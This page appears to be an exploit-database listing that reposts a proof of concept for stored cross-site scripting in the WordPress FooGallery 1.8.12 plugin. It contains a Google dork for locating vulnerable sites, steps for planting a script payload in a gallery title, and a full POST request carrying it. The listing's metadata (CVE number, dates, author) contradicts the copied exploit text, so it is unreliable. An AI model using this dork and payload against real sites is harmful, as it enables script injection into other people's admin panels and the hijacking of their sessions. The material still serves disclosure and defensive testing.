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Wordpress FooGallery 1.8.12 Persistent Cross-Site Scripting

CVE Category Price Severity
CVE-2020-35309 CWE-79 $1000 High
Author Risk Exploitation Type Date
John Doe High Remote 2019-10-28
CVSS EPSS EPSSP
CVSS:7.4/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019100170

Below is a copy:

Wordpress FooGallery 1.8.12 Persistent Cross-Site Scripting
# Exploit Title: Wordpress FooGallery 1.8.12 - Persistent Cross-Site Scripting
# Google Dork: inurl:"\wp-content\plugins\foogallery"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://foo.gallery/
# Software Link: https://wordpress.org/plugins/foogallery/
# Version: 1.8.12
# Tested on: Kali Linux
# CVE: N/A


# Description
# This vulnerability is in the validation mode and is located in the plugin settings panel and the vulnerability type is stored ,it happend becuse in setting is an select tag ,this select tag have option with value of title gallerys so simply we just have to break option and write our script tag
the vulnerability parameters are as follows.

1.Go to the 'add Gallery' of FooGallery
2.Enter the payload in the "add Title"
3.Click the "Publish" option
4.Go to plugin setting of FooGallery
5.Your payload will run


# URI: http://localhost/wordpress/wp-admin/post-new.php?post_type=foogallery&wp-post-new-reload=true
# Parameter & Payoad: post_title="/><script>alert("Unk9vvn")</script>


#
# POC
#
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post-new.php?post_type=foogallery&wp-post-new-reload=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 2694
Cookie: ......
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

_wpnonce=933471aa43&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dfoogallery&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=foogallery&original_post_status=auto-draft&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dfoogallery%26ids%3D31&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dfoogallery%26ids%3D31&auto_draft=&post_ID=32&meta-box-order-nonce=5e054a06d1&closedpostboxesnonce=03e898cf80&post_title=%22%2F%3E%3Cscript%3Ealert%28%22Unk9vvn%22%29%3C%2Fscript%3E&samplepermalinknonce=fc4f7ec2ab&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=09&jj=13&aa=2019&hh=14&mn=42&ss=45&hidden_mm=09&cur_mm=09&hidden_jj=13&cur_jj=13&hidden_aa=2019&cur_aa=2019&hidden_hh=14&cur_hh=14&hidden_mn=42&cur_mn=42&original_publish=Publish&publish=Publish&foogallery_sort=&foogallery_clear_gallery_thumb_cache_nonce=e18d32a542&_thumbnail_id=-1&_foogallery_settings%5Bfoogallery_items_view%5D=manage&foogallery_nonce=b6066e6407&foogallery_attachments=&foogallery_preview=e35a011572&foogallery_template=default&_foogallery_settings%5Bdefault_thumbnail_dimensions%5D%5Bwidth%5D=150&_foogallery_settings%5Bdefault_thumbnail_dimensions%5D%5Bheight%5D=150&_foogallery_settings%5Bdefault_thumbnail_link%5D=image&_foogallery_settings%5Bdefault_lightbox%5D=none&_foogallery_settings%5Bdefault_spacing%5D=fg-gutter-10&_foogallery_settings%5Bdefault_alignment%5D=fg-center&_foogallery_settings%5Bdefault_theme%5D=fg-light&_foogallery_settings%5Bdefault_border_size%5D=fg-border-thin&_foogallery_settings%5Bdefault_rounded_corners%5D=&_foogallery_settings%5Bdefault_drop_shadow%5D=fg-shadow-outline&_foogallery_settings%5Bdefault_inner_shadow%5D=&_foogallery_settings%5Bdefault_loading_icon%5D=fg-loading-default&_foogallery_settings%5Bdefault_loaded_effect%5D=fg-loaded-fade-in&_foogallery_settings%5Bdefault_hover_effect_color%5D=&_foogallery_settings%5Bdefault_hover_effect_scale%5D=&_foogallery_settings%5Bdefault_hover_effect_caption_visibility%5D=fg-caption-hover&_foogallery_settings%5Bdefault_hover_effect_transition%5D=fg-hover-fade&_foogallery_settings%5Bdefault_hover_effect_icon%5D=fg-hover-zoom&_foogallery_settings%5Bdefault_caption_title_source%5D=&_foogallery_settings%5Bdefault_caption_desc_source%5D=&_foogallery_settings%5Bdefault_captions_limit_length%5D=&_foogallery_settings%5Bdefault_paging_type%5D=&_foogallery_settings%5Bdefault_custom_settings%5D=&_foogallery_settings%5Bdefault_custom_attributes%5D=&_foogallery_settings%5Bdefault_lazyload%5D=&post_name=&foogallery_custom_css=

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